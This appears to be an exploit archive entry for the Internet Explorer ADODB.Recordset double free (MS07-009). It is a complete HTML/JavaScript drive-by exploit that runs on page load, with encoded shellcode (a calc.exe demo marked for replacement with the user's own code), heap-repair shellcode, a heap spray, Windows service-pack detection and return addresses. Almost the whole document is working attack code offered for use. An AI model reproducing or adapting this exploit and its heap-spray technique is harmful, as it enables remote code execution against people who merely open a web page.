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MS Internet Explorer Recordset Double Free Memory Exploit (MS07-009)
[====================================================================
MS Internet Explorer Recordset Double Free Memory Exploit (MS07-009)
====================================================================
<HTML>
<!--
**********************************************************************************
Microsoft Internet Explorer ADODB.Recordset Double Free Memory Exploit (ms07-009).
**********************************************************************************
Review:
This code exploit "double free error" in msado15.dll NextRecordset() function.
As a result of double freeing of same string, rewriting of Heap Control Block
by malicious data is occuring.
Technique of exploitation is based on "Lookaside remapping".
Runs calc.exe if success.
-->
<HEAD>
<OBJECT id=obj classid=clsid:00000535-0000-0010-8000-00AA006D2EA4></OBJECT>
</HEAD>
<BODY onLoad='Go()'>
<script language=javascript>
//------------------Replace with your code-----------------------//
var Shellcode = unescape("%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063");
//------------------Replace with your code-----------------------//
//-------------Heap Repair Code. Do not Replace------------------//
var HeapRepairCode = unescape("%u9090%u9090%u186A%u645B%u038B%u408B%u8B30%u1840%u5805%u0001%u3300%u89D2%u8910%u0450%u5089%u8908%u0C50%uC083%u8928%u8900%u0440%uC083%u6608%u783D%u7C05%u8BF2%u81D8%u90C3%u0000%u8900%u3318%u83D2%u04C0%u1089%uC083%u8104%u80C3%u0000%u8900%u3318%u89C0%u8303%u04C3%u8166%u88FB%u7C1E%u8BF4%u81D3%u70EB%u001E%u6600%u338B%u8966%u4232%uC642%u0802%u6642%u328B%u3166%u4232%uC642%u1402%u6642%u328B%u3166%u4232%u6642%uC381%u0160%u1389%u5389%u8904%u891A%u045A%u9090");
//-------------Heap Repair Code. Do not Replace------------------//
var part1 = '';
var part2 = '';
var partLen = 127;
function PrepMem()
{
//Standard Heap Spray Code
var heapSprayToAddress = 0x05050505;
var payLoadCode = HeapRepairCode + Shellcode;
var heapBlockSize = 0x400000;
var payLoadSize = payLoadCode.length * 2;
var spraySlideSize = heapBlockSize - (payLoadSize+0x38);
var spraySlide = unescape("%u9090%u9090");
spraySlide = getSpraySlide(spraySlide,spraySlideSize);
heapBlocks = (heapSprayToAddress - 0x400000)/heapBlockSize;
memory = new Array();
for (i=0;i<heapBlocks;i++)
{
memory[i] = spraySlide + payLoadCode;
}
function getSpraySlide(spraySlide, spraySlideSize)
{
while (spraySlide.length*2<spraySlideSize)
{
spraySlide += spraySlide;
}
spraySlide = spraySlide.substring(0,spraySlideSize/2);
return spraySlide;
}
}
function GetSystemVersion()
{
//Simple Detecting of OS version out of Jscript version:
var ver = "";
ver += ScriptEngineMajorVersion();
ver += ScriptEngineMinorVersion();
ver += ScriptEngineBuildVersion();
if ( ver<568820 ){ return("preSP2"); }
else if ( ver<575730 ){ return("SP2"); }
else return (0);
}
function PrepJmpcode(sp)
{
switch(sp){
case "preSP2":
var egg="";
egg+=unescape("%u0608%u0014");
egg+=unescape("%u0000%u0000");
egg+=unescape("%uF708%u0013");
egg+=unescape("%u0000%u0101");
egg+=unescape("%uFFFF%uFFFF");
egg+=unescape("%uFFFF%uFFFF");
part1+=unescape("%u0400%u0014");
part1+=unescape("%u320C%u77FC");
while (part1.length<partLen) {part1+=unescape("%u0505");}// ptr* shellcode
while (part2.length<(partLen-egg.length)) {part2+=unescape("%uFFFF");}
part2+=egg;
break;
case "SP2":
var egg="";
egg+=unescape("%u0608%u0014");
egg+=unescape("%u0000%u0000");
egg+=unescape("%uF708%u0013");
egg+=unescape("%u0000%u0101");
egg+=unescape("%uFFFF%uFFFF");
egg+=unescape("%uFFFF%uFFFF");
part1+=unescape("%u0505%u0505");
part1+=unescape("%ue128%u75c7");
while (part1.length<partLen) {part1+=unescape("%uFFFF");}
while (part2.length<(partLen-egg.length)) {part2+=unescape("%uFFFF");}
part2+=egg;
break;
}
}
function Exploit()
{
var arr=new Array();
var i=1;
while(i<500){
try{
k=1;
while(k<500){ arr[k]=part1+part2; k++; }
obj.NextRecordset( part1+part2 );
}catch(e){}
i++;
}
}
function Go(){
PrepMem();
PrepJmpcode( GetSystemVersion() );
Exploit();
}
</script>
</body>
</html>
# 0day.today [2024-11-15] #